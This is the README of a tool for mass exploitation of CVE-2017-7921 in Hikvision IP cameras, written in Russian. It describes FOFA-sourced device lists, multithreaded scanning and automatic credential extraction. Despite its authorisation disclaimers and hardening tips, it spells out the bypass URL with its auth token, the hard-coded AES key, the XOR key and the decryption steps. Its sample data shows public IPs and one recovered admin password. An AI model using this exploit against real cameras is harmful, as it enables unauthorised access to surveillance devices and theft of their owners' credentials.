
CVE-2017-7921-Research-Toolkit GUI
Предназначен для быстрой проверки уязвимости CVE-2017-7921 в устройствах Hikvision с помощью FOFA, получения учетных данных для входа и вывода результатов в файл JSON.
CVE-2017-7921 Research Toolkit
Заявление о безопасности: данный инструмент предназначен только для авторизованных исследований безопасности и проверки уязвимостей
Содержание
- Юридические и этические заявления
- Описание проекта
- Функциональные возможности
- Инструкция по установке
- Инструкция по использованию
- Результаты вывода
- Рекомендации по защите и исправлению
- Технические детали
- Благодарности
⚖️ Юридические и этические заявления
Важное примечание: использование данного инструмента означает ваше согласие со следующими условиями
- Только авторизованное тестирование: используйте только на системах, на которые у вас есть явное письменное разрешение
- Соблюдение законодательства: строго соблюдайте Закон о кибербезопасности и соответствующие местные законы
- Ответственное раскрытие: при обнаружении уязвимости сообщайте о ней производителю через официальные каналы
- Образовательные цели: инструмент предназначен для повышения осведомлённости о безопасности IoT
- Ответственность за последствия: юридические последствия неправомерного использования ложатся на пользователя
Данный проект следует политике безопасности GitHub и правилам раскрытия Центра безопасности Hikvision.
📖 Описание проекта
Инструмент для массового обнаружения и проверки уязвимости обхода аутентификации CVE-2017-7921 в IP-камерах Hikvision. Поддерживает автоматическое дешифрование конфигурационных файлов и извлечение учётных данных.
Цели разработки
- Помочь исследователям безопасности оценить состояние безопасности крупных групп устройств
- Предоставить владельцам устройств возможность самопроверки
- Поддержка генерации отчётов с рекомендациями по исправлению
- Содействие обновлению безопасности устройств IoT
✨ Функциональные возможности
- ✅ Массовое сканирование списка устройств в формате JSON
- ✅ Многопоточное параллельное обнаружение (настраиваемое количество потоков)
- ✅ Автоматическая загрузка зашифрованных конфигурационных файлов
- ✅ Расшифровка в реальном времени и извлечение учётных данных для входа
- ✅ Индикатор хода сканирования в реальном времени (tqdm)
- ✅ Автоматическое сохранение результатов в отчёт JSON
- ✅ Поддержка продолжения сканирования после прерывания
🛠️ Инструкция по установке
Требования к окружению
- Python 3.7 или выше
- Только Linux / macOS (в Windows некоторые функции ограничены)
Установка зависимостей
git clone https://github.com/[ваше_имя_пользователя]/CVE-2017-7921-Research-Toolkit.git
cd CVE-2017-7921-Research-Toolkit
pip install -r requirements.txt
Содержимое requirements.txt
requests>=2.28.0
pycryptodome>=3.15.0
tqdm>=4.64.0
📊 Инструкция по использованию
1. Подготовка файла с данными устройств
Создайте папку zc/ в каталоге инструмента и поместите туда список устройств в формате JSON (каждая строка – один объект устройства):
mkdir zc
Пример файла: devices_2025.json
{"city":"Lisbon","country":"PT","host":"109.50.152.186","link":"http://109.50.152.186:80"}
{"city":"Sao Paulo","country":"BR","host":"200.201.192.75","link":"http://200.201.192.75:8080"}
Описание полей:
| Поле | Описание | Обязательно |
|---|---|---|
link | HTTP/HTTPS адрес устройства | ✅ Да |
city | Город | ❌ Нет |
country | Код страны | ❌ Нет |
org | Организация/ISP | ❌ Нет |
2. Запуск инструмента сканирования
python batch_decrypt.py
3. Пример интерактивной работы
════════════════════════════════════════════════════════════════════════════════
Инструмент массового сканирования уязвимости конфигурационных файлов камер Hikvision
════════════════════════════════════════════════════════════════════════════════
Доступные JSON-файлы:
════════════════════════════════════════════════════════════════════════════════
1. devices_2025.json (45,678 байт)
════════════════════════════════════════════════════════════════════════════════
Выберите номер файла: 1
Выбран файл: devices_2025.json
Загрузка данных устройств...
Всего устройств для сканирования: 2000
Введите количество потоков (по умолчанию: 5): 10
Количество потоков: 10
Начало сканирования...
Всего отсканировано устройств: 2000
Обнаружено уязвимых устройств: 127
Уязвимые устройства сохранены в: vulnerable_devices.json
📁 Результаты вывода
После завершения сканирования генерируется файл vulnerable_devices.json, содержащий информацию обо всех уязвимых устройствах.
Пример вывода:
[
{
"url": "http://109.50.152.186",
"config_url": "http://109.50.152.186/System/configurationFile?auth=YWRtaW46MTEK",
"username": "admin",
"password": "123456",
"city": "Lisbon",
"country": "PT",
"org": "ISP Telecom",
"status": "success"
}
]
🛡️ Рекомендации по защите и исправлению
Для владельцев устройств
- Немедленно обновите прошивку: посетите официальный сайт Hikvision для загрузки последней версии
- Измените пароль по умолчанию: даже после обновления смените пароль администратора по умолчанию
- Сетевая изоляция: размещайте камеры в отдельной VLAN, запретите прямой доступ из глобальной сети
- Включите белый список IP: разрешите доступ к интерфейсу управления только с доверенных IP-адресов
Для специалистов по безопасности
- Соблюдайте конфиденциальность результатов сканирования: не разглашайте подробности об устройствах, которые ещё не исправлены
- Помогайте с исправлением: активно связывайтесь с владельцами устройств для оказания технической поддержки
- Составляйте отчёты в соответствии с нормативными требованиями: создавайте отчёты по оценке безопасности, соответствующие стандарту ISO 27001
🔬 Технические детали
Принцип уязвимости
- Обход аутентификации:
/System/configurationFile?auth=YWRtaW46MTEKиспользует жёстко закодированные учётные данные - Слабое шифрование: конфигурационный файл зашифрован фиксированным ключом AES-ECB
- Утечка ключа: ключ
279977f62f6cfd2d91cd75b889ce0c9aжёстко закодирован в прошивке
Процесс расшифровки
- Получение зашифрованного бинарного конфигурационного файла
- Расшифровка AES-ECB (удаление первого блока)
- XOR-запутывание (ключ:
0x73, 0x8B, 0x55, 0x44) - Извлечение учётной записи admin и последующего поля пароля с помощью регулярного выражения
📝 Лицензия
Данное программное обеспечение предназначено только для авторизованных исследований безопасности и образовательных целей. Пользователь обязан самостоятельно обеспечить соблюдение всех применимых законов.
🙏 Благодарности
- Спасибо Hikvision за своевременное реагирование и выпуск обновлений прошивки
- Благодарность сообществу open source за предоставленные материалы по анализу уязвимости
- Данный проект следует передовым практикам исследования безопасности IoT
Последнее обновление: 2025-01-29 | Версия: v1.0.0 | Поддержка CVE: CVE-2017-7921